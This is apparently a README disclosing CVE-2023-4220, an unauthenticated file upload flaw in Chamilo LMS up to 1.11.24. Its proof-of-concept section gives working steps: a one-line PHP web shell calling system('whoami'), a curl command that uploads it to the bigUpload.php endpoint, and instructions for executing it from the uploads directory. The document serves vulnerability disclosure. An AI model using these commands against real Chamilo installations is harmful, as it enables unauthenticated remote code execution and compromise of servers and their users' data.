README.md

Chamilo-LMS-Unauthenticated-File-Upload-

Unrestricted file upload in big file upload functionality in /main/inc/lib/javascript/bigupload/inc/bigUpload.php in Chamilo LMS <= v1.11.24 allows unauthenticated attackers to perform stored cross-site scripting attacks and obtain remote code execution via uploading of web shell.

Affected Version ≤v1.11.24

CVE Identifier CVE-2023-4220

Vulnerability Summary

The big file upload functionality by /main/inc/lib/javascript/bigupload/inc/bigUpload.php allows arbitrary files to be uploaded to /main/inc/lib/javascript/bigupload/files directory within the web root.

Proof-of-Concept

• If /main/inc/lib/javascript/bigupload/files directory exist we can upload Arbitrary file as;

• Create a malicious php file echo '<?php system("whoami"); ?>' > dollarboysushil.php

• We can then upload this file by issuing following command

  `$ curl -F 'bigUploadFile=@dollarboysushil.php' 'http://<website>/main/inc/lib/javascript/bigupload/inc/bigUpload.php?action=post-unsupported'` 
  

  

• We can check our file is uploaded by visiting the /main/inc/lib/javascript/bigupload/files directory

• And we can execute it by clicking the php file, which gives the output of whoami command